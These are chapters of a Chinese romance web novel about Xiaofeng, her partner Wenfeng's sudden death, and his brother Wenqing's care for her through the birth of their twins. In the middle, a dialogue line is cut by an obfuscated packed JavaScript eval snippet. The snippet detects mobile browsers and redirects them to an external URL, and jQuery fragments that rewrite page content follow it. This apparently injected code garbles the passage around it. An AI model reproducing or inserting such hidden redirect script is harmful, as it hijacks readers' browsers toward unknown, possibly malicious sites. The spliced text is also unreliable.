文枫试探性得问,“晓枫,我想上场玩玩。” “不行,文枫。”“我会小心的。不激烈冲撞,只一个球,我保证。” 晓枫一边退到旁边的长凳上坐着,一边提醒他量力而行。 文枫走进球场,他身材不俗,1米9的个子,虽然缺乏锻炼,但是依然明晰的肌肉线条,"only one attack,for my girl." 众人心领神会,有个黑人小哥退到场边,一个跟文枫差不多高的亚裔过来防他。 拿到球的文枫眼神都变了,他双眼紧紧锁定前方的防线。只见他先是快速地侧身,那步伐轻盈而又敏捷,巧妙地晃过了防守他的球员。紧接着,他没有丝毫犹豫,双腿猛地发力,如同弹簧一般高高跃起。他的身体在空中舒展,手中的篮球被稳稳地举过头顶,手臂伸直,手腕轻轻一抖,篮球便向着篮筐呼啸而去。那干拔投篮的动作一气呵成,充满了力量与美感,整个过程就像一场精心编排的舞蹈,而他是舞台上最耀眼的舞者。 good job、amazing、brilliant,称赞的声音让文枫飘飘然,他准备转换攻防,继续他的表演。 晓枫赶紧起身,这时,文清从后面走上前,伸手挡住了晓枫,示意她坐下。 他则来到场边,喝住文枫,文枫失望得走下场,其他人继续他们的3对3。 文枫一个人脚步匆匆地在最前面疾行。那背影透着一种决然,每一步都迈得又大又快,仿佛后面的人如同空气一般不存在。他的眼神直直地盯着前方地面,没有丝毫的停顿或者回头的迹象,任凭身后的晓枫怎样呼喊,那节奏丝毫不乱,像是被什么紧急的事情催促着,只一心向着自己的方向。 晓枫的目光中透着一丝急切,心中似乎有着不得不加快脚步的理由。她双手下意识地托着肚子,她试着加快步伐,脚步却有些踉跄。就在她迈出稍微大一点的步子时,右脚突然一歪。她的脸上瞬间闪过惊慌与痛楚,眼睛瞪得大大的,嘴巴也因疼痛而微微张开。肚子的重量似乎在这一瞬间更加难以控制,她摇晃着身体努力想要保持平衡,然而终究还是没能稳住,整个人朝着一侧歪倒下去。幸好文清上前扶住了她。她艰难的俯下身子,用手紧紧捂着崴到的脚踝,嘴里发出一声痛苦的低呼。 文清大声喝止住文枫,晓枫都被吓到了,她没有见过如此失态的姜文清。 “文清哥,我没事。” 文枫这才回头,跑过来,赶紧扶住晓枫。 “文枫,你再这样,当心我揍你。”文清是生气极了,这种语气像小时候弄坏哥哥房屋模型时被教训的语气。 “对不起,晓枫。” “不怪你,是我自己不小心。文清哥是担心你的身体,你不要怪他。”好在离家不远,两个人一左一右架着晓枫回了家,才开车去了医院。 因为孕妇的用药限制,医生建议她前两天冷敷,阵痛,第三天开始就可以热敷,注意休息,坐着的时候把脚抬起来比较好。 “你先睡,我去跟哥哥聊聊。” “嗯,别太晚了。” “知道,晚安。” “晚安!”跟晓枫道了晚安,文枫来到一楼哥哥的卧室,敲开门,哥哥好像在忙工作的事情。 “哥,聊两句。” “好。”“在忙公司的事情?” “不要紧。” “哥,谢谢你,照顾我~”“们”字没有说出口 “你都是我带大的,现在学会跟哥客气了。” “现在不一样。” “没什么不一样。”文清拍拍弟弟的胳膊 “哥,只有你照顾晓枫,我才会放心。” “我会一直照顾你们俩的,马上还有孩子。我这个当哥的义不容辞。” “哥,你懂我的意思。” 文清心里一紧,“你别想那么多。” “我的病不知道哪天就会发作,我最放不下的就是晓枫和孩子,我想你~ “医生也说,定期复查,日常生活注意点,是不会有事的。” “你不用安慰我。哥,你喜欢晓枫,是不是?”文清不敢看文枫,撇过头抹了把眼泪。 “哥,答应我,替我照顾好她和孩子。”外人看文枫,是没有表情,不善言辞的,他把自己的喜怒哀乐,自己的甜言蜜语都给了晓枫。今天说的这么多话,也都是关于晓枫的,他怕他再不说,就没有机会了。“哥,我最没法原谅自己的就是动手打了她。我不知道是病的原因,还是因为嫉妒。看到她和周洋在一起,我完全无法忍受,我还是太年轻。我们的生活是靠你,靠爸爸妈妈才走到现在这一步。但是,我不介意,我不介意,哥,你和晓枫在一起,孩子们以后喊你作爸爸。你可以给她幸福,你一定不会让她受委屈。” “别傻了,你应该多想想你们的将来。想想你们陪两个孩子练体能,打篮球…”兄弟俩都已经泣不成声。 第二天,兄弟俩一人一双浮肿的熊猫眼,晓枫只觉得好笑。 7. 其他事情交给我 2014年12月23日 孕21周,姜恒夫妻来了加州。 这时候晓枫的肚子和平常孕妇孕26周大小相当,伴随孕肚的增大,她出现了轻微的腰疼。 和爸爸妈妈一见面,晓枫就跟他们汇报上周彩超的结果,两个孩子,顶臀径约21.2厘米,体重约274克,基本一样大。 还给他们听了宝宝们做胎心监护时的录音。 更重要的是,在做排畸的时候,让他们回家准备蓝色的烟花,也就是两个男胎。 姜婉激动得语无伦次,晓枫却连连解释说,“妈妈,小七说,做彩超的时候,宝宝的手脚放在两腿间,都可能形成阴影,造成误判的。” 姜婉更是激动得说,“女孩子更好,像晓枫一样漂亮的女孩子,有两个,真好。” 小七之所以会这么说,是怕他们姜家重男轻女,对男孩子抱有希望,如果不是呢?而且医学筛查上,哪有百分之百的事情,这还是在加州,大家会提前庆祝孩子的性别,在国内胎儿性别鉴定都是违法的,还是顺其自然的好。 “老公,你说是不是?”姜婉问姜恒,晓枫转向姜恒。 “爸爸,你喜欢男孩还是女孩?” 姜恒说,“不管是男孩还是女孩,那都是我们家的孩子,都一样喜欢。” 这一声爸爸,一声妈妈,意味晓枫愿意融入这个家庭,这让姜恒姜婉感到由衷的高兴。 就像自己的家庭又注入了新的活力和温暖,是一种对家庭延续和扩展的积极信号。 这也是多年养育文枫的一种回报感。 当然更多的是责任,他们觉得对晓枫有一定的责任,要像对待自己亲生女儿一样去关心她、照顾她,让她感受到归属感。 这种责任感还体现在对他俩的支持上。 无论是在生活上给予帮助,还是在精神上给予鼓励,都会因为爸爸妈妈的称呼而有更强的动力。 姜婉暗示姜恒,他起身去拿过来一个礼品盒,“晓枫,这是爸爸妈妈送给你的礼物。” “送给我的吗?谢谢爸爸,妈妈!” “打开看看,喜不喜欢。”姜婉说。 晓枫小心翼翼打开盒盖子,里面有两个盒子。 她先拿起一个比较大的,眼睛紧紧盯着那盒子,目光中透着一丝期待与兴奋,随着盒盖的开启,那眼神中的光芒如同被盒中的钻石所点燃,愈发闪亮。 是一个向日葵钻石项链,彩金的花瓣呈现出一种优雅的弧形,它们以一种看似随意却又精心设计的布局环绕着中心圆盘。花瓣的数量可能有十多片。中心圆盘上,镶嵌着一颗较大的主钻。这颗主钻的切割工艺十分精湛,在光线的照耀下,折射出耀眼的光芒,如同向日葵花盘中心最明亮的部分。主钻的周围还镶嵌着一圈细小的碎钻,这些碎钻如同繁星点点,进一步烘托出主钻的璀璨,也像是向日葵花盘中密密麻麻的花蕊。 “好漂亮。” “喜欢吗?爸爸妈妈给你们定制的,花瓣有19片,是你和文枫确认恋爱关系时的年龄。” “好喜欢。” 她又颤巍巍打开一个小些的盒子,是一对枫叶形状的戒指。 戒指的主体宛如一片精致的枫叶,枫叶的轮廓被雕琢得栩栩如生。它有着五个明显的叶瓣,每个叶瓣都微微卷曲,仿佛被秋风吹拂过一般。叶尖细长而微微上翘,犹如枫叶在风中舞动的姿势。颜色是从金色到红色的渐变色,这种光影的对比使得戒指更具层次感和立体感,仿佛这片枫叶不是静止的,而是在光线下轻轻摇曳。 盒子的最下面,是两个红包。 “这些礼物太贵重了。” “晓枫,进了我们姜家的门,就是我们姜家的人。”姜恒这是总结了一切。 “晓枫,不哭,孕妈妈要开开心心的。” 晚上,晓枫和妈妈一起睡的,她试着问了妈妈,文枫为什么不愿意跟她领证。 “我问过文枫,他总是不愿意正面回答。” “晓枫担心什么呢?” “不是担心什么,只是少了一些牵绊。” “孩子还不是吗?” “妈妈,我嘴笨,说不清楚哪里不对。” “你是怀孕,情绪敏感,别想太多。” “嗯!” “脚好点了吗?” “脚?妈妈怎么知道。” “文枫打电话告诉我们的,他知道错了,面子薄,说不出口,妈妈已经教训他了。” 晓枫知道这是谎言,但没有想继续这个话题,“妈妈,脚已经好了,不用担心。” “晓枫,领不领证,爸爸妈妈都认你做儿媳妇。” 孕22周,爸爸妈妈准备离开加州回国的时候,全家一起去拍了全家福,小两口还拍了一组孕照。 孕24周,二叔和四叔,也来看望了晓枫,四叔给她讲了很多车赛的事情,晓枫开心不已。畅想着卸货之后,可以再去参加比赛。 孕26周之后,由于子宫增大对周围组织和器官的压迫,她慢慢出现了些压迫症状,下肢水肿、腰酸背痛等,状态不是很好。每晚文枫要给她按摩脚,晚上还得给她翻身。 孕28周产检时晓枫出现了贫血症状,彩超显示,两个宝宝差不多大,身长约35厘米,体重1100克。 2015年2月24日 孕30周彩超提示身长约37厘米,体重1500克,两个宝宝发育得比较平衡。 这次彩超还拍了几张图片,两人捧着图片,反反复复,每晚都会看,爱不释手。一个宝宝在吃手,一个宝宝抓着自己的脚,虽然图片是模糊的,两人还是得出一致结论,孩子们和文枫长得像。 2015年2月27日 晚上晓枫想翻身,伸手去摸文枫的手臂,想推醒他,发现凉凉的。 她猛得坐起来,打开房间的灯,手指紧紧地抠着床单,指节泛白,身体止不住地微微颤抖。 她俯下身,眼睛死死地盯着那毫无血色的嘴唇,将耳朵贴近文枫的口鼻处,试图捕捉一丝鼻息。 每一次呼吸都像是在等待一个世纪之久的宣判,她的心跳在胸腔里疯狂地撞击着,像是要冲破那脆弱的肋骨。她的鼻翼急速地扇动着,呼吸也变得急促而紊乱,仿佛那呼出和吸入的气息也在和她一同焦急地等待着。 额头上豆大的汗珠一颗接着一颗地滚落,却浑然不觉,脑海里只剩下一个念头:一定要有呼吸,一定要活着。 她的嘴唇不停地哆嗦着,无声地念叨着爱人的名字,那紧张到极点的神态仿佛下一秒就会崩溃,害怕像潮水一般将她淹没,她已经无法承受这种生死未卜的煎熬。 贴近文枫的口鼻,她一颗悬着的心终于死了。 她下了床,一手扶着楼梯,一手拖着沉重的肚子,僵硬的,一步一步走到文清门前,用尽全身力气,敲开文清的门,文清打开门之时,晓枫已经站不住了,瘫软在门边。 文清双手穿过她的腋窝下,想把她从地上抱起来,“哥,去看看文枫。” 文清意识到事情不对,冲到楼上,只是一个简单的动作,就判断出他最爱的弟弟已经在睡梦中去世了。 他的眼泪完全止不住,但是并没有停下手中的动作,他左手抹开眼泪,扶着自己的额头,在房间转了个圈,然后拨通了急救电话。 他到楼下,把晓枫扶到沙发上坐着,给她拿了个毛毯搭着,自己则换了身衣服。 晓枫安安静静的坐在沙发上,像一个定格的画面。他现在必须跟急救车去医院,晓枫一个人在家怎么办?无奈之下,他拨通了周洋的电话,周洋在救护车来了之后也赶到了。 看着救护人员用担架把文枫从楼上抬下来,周洋挡在晓枫面前,晓枫仍然一动不动。两个男人只是交流了一个眼神,文清就上了救护车,关上门,救护车尖锐的高频音调,像是一把尖锐的锥子,直刺晓枫的耳膜,直达她的大脑深处,触发了她的开关,起身去追, “文枫不能走,把文枫还给我~~~” 周洋抱着她,“晓枫,晓枫,嘘,嘘,你别这样。晓枫~~” 晓枫又一次瘫软在地上,干脆放声大哭起来。 医院给出了医学死亡证明,文清才电话通知爸爸妈妈和二叔四叔,他是多么希望医生能进行抢救,他甚至还想着违背文枫的意愿,让他接受任何有可能的抢救措施,只要他能活着,晓枫就不会垮。 在医院安排了殡葬事宜之后,文清就回到了家里。 此时,晓枫在文清的房间睡着了,周洋在客厅坐着打盹。 “怎么样?” 文清摇摇头。 “节哀顺变!” “谢谢你!” “不用!有什么需要帮助的?” “没有。事情已经安排了,拿到骨灰之后,我就送回国去。晓枫不能同行,麻烦你照顾她几天。” “好。有需要帮忙的事情一定告诉我。” “嗯。” 姜文清去房间看了看晓枫,摸摸她的还带着泪水的脸颊。 心疼,此时已经不是一种比喻,就是一种切切实实的感受。 有一只无形的大手,伸进他的胸腔,抓住他的心脏,反复揉捏,试图把他揉碎,捏碎。 文清来来去去用了十来天时间,这期间,晓枫除了吃饭,上厕所,就是睡觉,几乎没有和周洋说过话。 有时候,会喊一声,周洋哥,然后就不说话了。 有时候,会突然从房间走出来,在客厅转一圈,又回房间去。 由于她拒绝沟通,周洋只能做好他能做的,做家务,做饭,请医生来给她做胎心监护… 文清回到加州的时候,明显瘦了一圈。周洋正好有事,就跟他汇报了这么多天,医生六次上门,来查体的数据,就离开了,文清向他表达了感谢。 文清看着数据,两周的时间,晓枫的体重基本没有增加;血压每次都提示,高压太高,让她不要再喝牛奶,不要熬夜…因为她状态不好,没敢让他上楼,怕出现摔倒的情况,一直睡在文清的房间里面。 文清正打算送她去医院做产检,如果有需要就住院,让医院提供更专业更全面的照顾。 晓枫从房间里面出来,整个人没有精神,走到客厅,发现了文清,她眼睛瞬间有神了,捧着肚子快步走过来,抱着文清说,“你回来了。” “晓枫,我是文清哥。” “嗯。你回来就好了。明天你陪我去产检吧,32周了。” 2015年3月10日 产检提示胎儿身长约43.6厘米,体重约1868克,两个宝宝差不多。 因为是单绒毛膜双胎,是共用一个胎盘且在一个羊膜囊内,风险较高,建议不超过34周,就终止妊娠,这期间要随时观察孕肚情况,做好胎心监护。 2015年3月13日 孕32周+3天,两人在商场买待产包一些零零碎碎的东西。 文清把晓枫安顿在咖啡馆的一角坐下,自己去了趟卫生间。 等他回来的时候,晓枫被三个男人围着,他跑过去,三个男人鞠了个躬就离开了。 文清关切的问她,是什么人,有什么情况。 晓枫解释说是文枫之前的篮球队队员,表达了问候。 晚上,文清敲开房门,晓枫正靠在床头坐着,双手交叠放在肚子上,手里的手机屏幕还亮着。 文清拿过手机,屏幕是通话记录的界面,有几个打给文枫的电话。 文清右手把手机放到床头柜上,左手去抚了抚晓枫的脸,她又在哭,文清心里一阵酸楚。 “腿。”晓枫艰难得挤出一个单音节,文清掀开腿上的被子,才发现水肿已经从脚踝处,蔓延到小腿,膝盖的位置。 文清打来一些热水,水温比手温略高,做完热敷,又给她按摩,轻轻的,从脚踝往小腿方向。 文清倒掉盆里的水,进来扶晓枫左侧卧躺下睡觉,晓枫抓着他的手,让他不要走。“你睡旁边。” “我不走,我在床边陪着你。” “到床上来。” 文清不明所以,背对着晓枫坐在床的另一侧,以为这样晓枫不会有更多的要求。 半晌无话,晓枫动了动,“帮我翻个身。” 文清这才注意到,她侧躺着,肚子里的双胞胎把她固定在那里,那巨大的肚子就像一个坚固的牢笼,让她无法动弹。 文清赶忙先将一只手小心地放在晓枫的肩膀下,另一只手放在她的臀部。确保能提供稳定而又合适的支撑力。然后,他慢慢地、轻轻地开始施加向上和侧向的力量,就像在搬动一件最珍贵、最易碎的宝物。 晓枫哼了一声,他立刻暂停动作,轻声询问:“是不是弄疼你了?” “没有,我想使点力。”她尝试将身体慢慢地转动,来配合他。晓枫微微抬起腿部的时候,文清会顺势调整自己放在臀部的手的位置,让她的身体能够顺利地完成侧身的动作。 当晓枫的身体翻转到一侧时,文枫迅速用枕头在她的腹部下方、腰部和背部垫上合适的支撑物。 文清这才明白,晓枫不让他走,是因为夜里翻身对晓枫来说都是一件奢侈的事情,而自己不知道在想着什么。 他没有犹豫,直接换了身睡衣,躺在了晓枫的身边。 在晓枫的要求下,他再一次帮她从右侧卧,翻成了左侧卧。 这只晓枫知道,医生嘱咐要多左侧卧,那怕压的她胸腔疼,喘不上气,她也尽量左侧卧,偶尔右侧卧缓解一些。 她又是背对着他,完成这次翻身,文清刚躺下,晓枫就用右手穿过自己的左肩膀去寻找文清的左手,并通过肩头与枕头的间隙将他的左手拖过来,是一个枕在他左手的状态。 右手又从后背绕过去,寻找他的右手,拉过来,放在孕肚上,做完这些她就沉沉睡去。 丝滑的动作,让文清猝不及防,左手被晓枫枕着,右手抚摸着孕肚,他浑身僵硬,完全不敢动,他甚至有尿急想要逃跑的感觉。 晓枫没有动,鼻息也渐渐平稳,他想她这样可能舒服,也就没有挣扎,而是放松了两只手,并将身体更靠近晓枫的背,她的头发是桃子的香味,好香,好香。 第二天,文清给爸爸妈妈打电话说明了情况,爸爸妈妈准备启程来加州,一起陪产,二叔和四叔,则在家里等消息。 2015年3月22日 爸爸妈妈进门的时候,晓枫一手撑着沙发扶手起身,一手拖着肚子,准备来迎他们。 文清立马上前,扶住她的一只手臂,“你不要动。” 文清又扶她坐下,顺手搬来个板凳,让她把脚抬起来。 “她脚肿的厉害,从脚踝,到小腿,现在已经快到大腿了。每天晚上热敷,按摩,只能稍微减轻酸胀。晚上睡觉翻身也难,为了孩子好,医生让她左侧卧,又压迫心脏,呼吸都困难…” 姜婉握着晓枫的手,“你辛苦了!” 晓枫摇摇头,这次爸爸妈妈来,明显都瘦了,特别是妈妈,眼窝深陷,眼睛显得更大,下巴也尖锐了些。 “文清跟我们说了,后天就34周,去做产检就入院。看看医生怎么说,能选择哪种生产方式,以你的身体状况为主,其他不重要。” 婆媳俩聊着,文清陪姜恒到院子里聊天,选择到院子里,是文清想抽烟,姜恒很理解自己的孩子,他也点上一根烟。 “爸爸知道,你能做的都做了,也做的很好。不管是为了你弟弟,还是为了晓枫,你辛苦了!” 文清叹了口气,“我现在只盼着她能平平安安生下这两个孩子。” 说完猛吸一口烟,掐灭了烟头,“少抽点烟。” “我知道,抽烟对她们娘仨也不好。”进门时文清脱掉了外套。 他走到晓枫面前,摸着她的脸,温柔的问,“累不累?要不要躺一下。” “不累,你去准备晚餐吧,一会让爸爸妈妈早点休息,飞过来挺累的。” “好,那你们聊。累了,想休息了,喊我。” “嗯”晓枫闻到文清抚摸她的脸的手上淡淡的烟草香。 2015年3月23日 孕33+6天,文清去医院预订产房,然后按照医生列的清单准备待产包。 “你发给我看看,有些东西之前陆陆续续在买,别买重复了。” “两个孩子,用得多,多备一些,比较安心。你别操心这个了。中午吃的什么?” “粥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033214|162346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃了一大碗粥,妈妈熬的虾仁粥,味道很好。水果吃的番茄,牛奶只喝了一口,怕血压高。” “乖,我去买了东西就回来,晚餐想吃什么?” “你决定吧,我只想吃鱼,其他你安排。” “好,你挂电话吧。” 晓枫挂掉电话,去院子里面躺着,三月下旬,加州不到20度,阳光也不是那么给力,姜婉给晓枫搭了个毛毯。 “谢谢妈!” “我吵醒你了。” “我没睡,我想等文清回来。” “晓枫,妈妈想问问你,文枫走了之后。”姜婉哽咽住“文枫走了之后,你和文清发展到什么阶段了?” 晓枫也愣住了,她从来没有想过这个问题,从和文枫恋爱起,文清就一路见证。 文枫有事,晓枫有事,文清从不缺席。 特别是这次来到加州,三个人更是形影不离。 “妈妈不是反对你们,妈妈是担心,文清只是一个影子,一个替身。我们现在只有这一个儿子,不想他受委屈。” 晓枫哭了,文枫走了之后,文清自然而然接替他照顾晓枫,热敷泡脚按摩翻身这些,有身体接触的事情,晓枫也不曾厌恶文清的接触,文清也是事事亲力亲为,没有因为避嫌提出请看护,他是极有耐心的。 妈妈今天提出的这个问题,在晓枫心里埋下了一根引信。 文清停好车,从车上搬下来一个收纳箱,里面满满当当,然后又去搬第二个箱子。“东西都买了,我想和之前买的那些,一起整理下,分类做好标记,免得到处翻找。” 走近晓枫,“你们在聊什么?怎么又哭了?” 她有点生气的望向妈妈,晓枫连忙岔开话题,“我去帮你整理东西吧,你买什么?买这么多?我看医生的清单也没那么多!” 一边说着,一边扶着文清的手进了房间。 原来文清连清单上的孕妈的住院睡衣都double了。 “睡衣买了四套。” “这几个款式,你喜欢吗?” “嗯,都挺好看的,我都喜欢。” “多买几套,你可以换着穿,上午一套,下午一套。” “孩子出生以后,好多事情,哪还有时间考虑这些。” “有我在,你不用担心。你只要平平安安生下孩子,其他事情交给我。” 晓枫又想哭,这个男人,总是这样润物细无声,偶尔的一两句,就能安慰到晓枫。 他懂她。 这样的对话,也是日常,换成平时,晓枫不会去回想。 今天想来,像极了等待孩子降生的准爸爸和准妈妈的对话。 2015年3月24日 孕34周彩超提示胎儿1的体重2300克左右,身长43厘米,双顶径8.72厘米,腹围28.99厘米,股骨长7厘米。胎儿2的体重2300克左右,身长44厘米,双顶径8.63厘米,腹围27.68厘米,股骨长6.99厘米。情况良好。 由于晓枫血压一直处于正常高值,医生给出的方案是:34周出生的胎儿属于早产儿,肺部发育可能不完善,出生后可能会出现呼吸窘迫综合征等问题,需要在医院的新生儿科进行特殊护理和治疗。孕妇没有发作迹象,但34周时子宫收缩力是否足够强,能否有效推动两个胎儿顺利通过产道,尚未可知,可能导致产程延长、难产等情况。如果出现难产情况,会调整为剖腹产,以降低分娩的风险,家属到时候需要签字决定。 最终他们选择了注射催产,对于文清选择的陪产,爸爸妈妈也并没有反对。 姜文清穿着消毒后的陪产服,站在产房门口,深吸了几口气。 他的眼神中既有对即将到来的新生命的期待,又有对晓枫生产过程的担忧。 当护士引导他进入产房时,他紧紧地握住双拳,脚步略显沉重却又坚定。积极配合医护人员进入产房后,他迅速按照医护人员的指示行动,帮助护士调整产床周围的设备,尽管手有些微微颤抖,但他努力让自己镇定下来。 医护人员在给晓枫做最后的产前检查时,文清认真地听着每一个注意事项,不时地点头,眼睛一刻也没有离开过晓枫。 催产素随着静脉输液注入血管,阵痛开始,晓枫痛苦地呻吟着,文清的脸上写满了心疼。 他紧紧地握住她的手,轻声说:“你是最棒的,加油。”每一次宫缩,每一次用力,文清都能感受到那种强烈的紧张感。 尤其是对于双胞胎生产,他知道这是一个更为复杂和艰难的过程。当第一个宝宝的头露出的时候,文清激动得眼眶泛红,他既为即将诞生的小生命感到兴奋,又担心第二个宝宝会不会顺利出生。 文清不断地给晓枫加油打气,他额头上冒出了细密的汗珠。 他用温暖的话语和坚定的眼神给予她力量。“你看我们马上就要有两个可爱的宝宝了,你做得非常好。” 他还会按照医护人员的指导,帮助晓枫调整呼吸节奏,在她几乎要失去力气的时候,他的鼓励就像一股强大的力量被注入了身体。 当双胞胎宝宝先后呱呱坠地,文清的脸上满是泪水和笑容。 他先是深情地抚摸了晓枫的额头,然后,他小心翼翼地看着两个小小的、浑身湿漉漉的宝宝,激动得说不出话来。他轻轻地抚摸着宝宝们娇嫩的小手,感受到了一种前所未有的父爱在心中涌动。 他看着护士给宝宝们称重、包裹,心中充满了对未来的憧憬。 他知道,从这一刻起,他进入了一个全新的阶段,他要承担起更多的责任,他的目光在晓枫和宝宝们之间来回切换,那是一种对她满满的爱意和守护的决心。 孩子们因为体重没有达到2500克,被双双送到新生儿监护病房,文清陪着晓枫在产房观察了两个小时。 护士向等在门外的爸爸妈妈通报了喜讯,两个男孩,母子平安! 老大,姜悦寻,小名卢卡斯。 老二,姜悦觅,小名奥斯卡。 寻寻觅觅,冷冷清清,凄凄惨惨戚戚。乍暖还寒时候,最难将息。三杯两盏淡酒,怎敌他、晚来风急!雁过也,正伤心,却是旧时相识。 天刚蒙蒙亮,婴儿床里就传来此起彼伏的哭声。文清一个箭步冲过去,睡眼惺忪地看着两个小家伙,一时分不清哪个哭得更凶。晓枫也被哭声惊醒,慌乱中找自己的拖鞋,结果一脚踩空差点摔倒。文清抱起一个宝宝,晓枫抱起另一个。可是准备奶瓶的时候就乱了套,她拿着奶粉罐却怎么也拧不开盖子,他则在一旁着急地提醒要先洗手。好不容易冲好奶,两个宝宝又像是比赛似的,一个喝得太急呛到了,咳嗽起来,另一个则不紧不慢地喝着,还时不时把奶瓶顶出来,奶水流得到处都是。 中午时分,他们想哄宝宝们午睡。文清哼着不成调的摇篮曲,抱着一个宝宝走来走去,可是宝宝的眼睛睁得大大的,没有一点睡意。晓枫则把另一个宝宝放在婴儿车里轻轻摇晃,宝宝刚有点睡意,外面突然传来一阵汽车的喇叭声,宝宝又被惊醒,大哭起来。 到了傍晚该给宝宝们洗澡了。文清先试了试水温,觉得合适后把一个宝宝放进浴盆里。可是宝宝一碰到水就开始大哭,溅起的水花弄湿了他的衣服。晓枫在一旁拿着毛巾和沐浴露,却不知道该先做什么,手忙脚乱地差点把沐浴露掉进浴盆里。宝宝们洗完澡后,他们还没顾得上自己吃饭。在厨房热着之前准备好的饭菜,两人也只能匆匆吃上几口,又得去照顾两个小家伙。 饶晓枫也并不骄矜,月子里也是自己照顾着宝宝,文清想尽力多做一些,让晓枫多休息。 他们的生活俨然幸福的一家四口,小七多次在视频中表达了羡慕,晓枫却在心里盘算着什么。 文清对她的感情越来越深,以前只是偶尔的关心问候,给他们处理善后,现在却时刻牵挂,只要她有任何需求,他都会毫不犹豫地放下自己的事情去做,仿佛她的喜怒哀乐就是他生活的全部重心。 过去看她的时候眼神中只有淡淡的关怀,如今那目光里满是炽热的深情,和温柔的缱绻。 2015年6月30日 周洋爷爷,周仕杰去世,传闻公司基金会并没有对遗产分配进行公布,一切维持原状。 8. 喜欢,喜欢惨了 2015年9月30日 卢卡斯和奥斯卡半岁了,从外表上面很难区分谁是哥哥,谁是弟弟。 他们在发型上做了区别,哥哥的枫叶图案在左边,弟弟的在右边。 兄弟俩对自己的手脚,对对方的手脚都极有兴趣;会对文清和晓枫的表情声音做出反应,跟着他们一起微笑… 晓枫和文枫并没有领证,她也想回去给孩子们上户口,所以给周洋哥去过几次电话,周洋答应在孩子们6个月左右回去。 他需要在这段时间,跟爸爸聊聊,很多事情还是要爸爸点头同意才行。 这天,中餐之前,晓枫让文清去三十多公里外的披萨店,给她买披萨。 文清虽觉得奇怪,却没有多问,还在出门前问她,一个人能不能搞定两个孩子,得到晓枫肯定的回答,他才出门去了。 一路忐忑不安,回到家时,他从不曾想到的事情发生了。 晓枫走了,带着两个孩子走了。桌上有一封手写的信。 “文清,我和孩子们回国了。感谢这一年你的照顾!你的感情,我看得到,但是我不敢看。妈妈提醒得对,我不确定,从你眼睛里,我看到的是文清,还是文枫。怪我没有勇气去面对,辜负了你。” 飞机上,晓枫给小七打电话,“小七,我回来了。” “你和…” “我一个人,带着奥斯卡和卢卡斯。” “为什么?” “你别问了,帮我个忙。” “你说。” “我需要一个育儿嫂,一定得是靠得住的人。” “行,交给我。什么时候到家?我去接你。” “不用,周洋哥跟我在一起。” “晓枫,你不要玩火,以前的事儿,你别忘了。” 小七最清楚,这个大傻妞,一句两句话都可以让她心软,小七毫不避讳得教训着晓枫。 回到家,小七已经安排人做过卫生,整整齐齐,干干净净,唯独缺点人气。 一进门,孩子们的哭声在房间回荡,瞬间就热闹起来了。周洋并不熟练得帮忙抱着哄着奥斯卡,晓枫正准备打电话问小七,育儿嫂什么时候能到的时候,有人按门铃。 来人正是育儿嫂—秦姐。她从周洋手上接过了奥斯卡,从口袋里面掏出一个海马玩具,撕开包装,打开开关,柔和的海浪音效立刻就让奥斯卡情绪平静了。 晓枫抱在手上的卢卡斯,也伸手去够这个玩具。 秦姐把奥斯卡放回推车中,让他自己玩着玩具,又拿出一个曼哈顿球,递给卢卡斯,顺手接过卢卡斯,也放到手推车里面。 “辛苦了!这长时间的飞机,辛苦了。孩子可能会水土不服,有点难带,你别怕。过几天就好了,孩子的适应能力很强。”秦姐的话让晓枫很放心。 2015年10月7日 生活有条不紊得过着,已经安顿回国的姜文清来看过一次她们,周洋正在家里,俨然一副主人的模样。 文清慢慢接手公司的工作,寄情于工作,这天,他又在书房看文件,抽着烟。 爸爸妈妈敲门进来,整个书房云雾缭绕。 “文清,把窗子打开。” 他掐灭手中的烟,起身把窗子全部打开,“你们别关门,一会就好了。” 爸爸妈妈,在他对面坐下。姜婉问他,“你有什么打算?” “打算什么?你们不是都跟我安排好了吗?” “文清,别这样跟妈妈说话。”姜恒出言制止。 不是妈妈跟晓枫说了什么,她不会走。” “我要跟你解释多少次?我只是作为一个妈妈,担心我自己的儿子。我们只有你一个儿子了,不想你受委屈,成为别人的影子替身。” 文清暴跳如雷,完全失去了往日的冷静,“我在他们俩身边,当了这么多年的忍者,我乐意。现在就是让我继续做个替身,我也乐意。” 这是积压在心里最久的一句话,说出来之后,他轻松了一些,“晓枫他俩没有领证,她的户口还在周家,记得吗?现在,孩子们的户口可能就在周家,也许都改姓周了。” “文清,这个事情交给我。” 姜婉仍不死心,“文清,你可以有更多更好的选择。” “不需要!”这平板的语气像极了文枫。 像一个还没有开始战斗,就被判负的战士,姜文清失去了往日的神采,活得像个工具,上班开会,外出巡视工地,回家吃饭睡觉。 姜家唯一还能跟饶晓枫说上话的就是四叔,跟她聊起车展,摩托车赛,她眼神里也没了光。只哀怨得说一声,“有了孩子,我不想玩这么危险的项目。” 这段时间晓枫申请延毕的时限也到了,她只得在带孩子的同时,完成了大学最后一年的学业,拿到了毕业证。幸好有秦姐的帮忙,生活一切才妥妥当当。 两个孩子一岁生日的时候,姜恒和姜婉给晓枫的银行卡里汇了一笔款,留言祝他们生日快乐希望他们常回家。 2016年11月10日 晓枫接到了一个国际长途,对方是照相馆的。 说是,两年前,他们来拍的全家福和孕期照没有取回。现在保存时间快两年了,他们会清理,询问她怎么处理。 晓枫给了他们一个邮箱地址,晚上孩子们都睡了之后,她独自打开电脑,一两年不曾触碰的伤口又一次被揭开。 全家福照片中,爸爸身姿挺拔,头发整齐地梳着,他的眼神中透着坚定与温柔。 妈妈则依偎在爸爸身边,她的长发披肩,面容温柔,眼睛里满是对家人的爱意。 文清坐在爸爸一侧,刀削斧劈般的面容,开朗的笑容。 文枫和晓枫坐在妈妈一边,晓枫脖子上的向日葵项链格外闪亮,两人戴着戒指的手交握在一起,晓枫的另一只放在孕肚上,满眼尽是幸福。 孕期照里面,晓枫头发是随意披散着的,几缕发丝垂落在脸颊旁,更增添了一种慵懒而迷人的气质,她一手扶着孕肚,一手抚着文枫的脸。 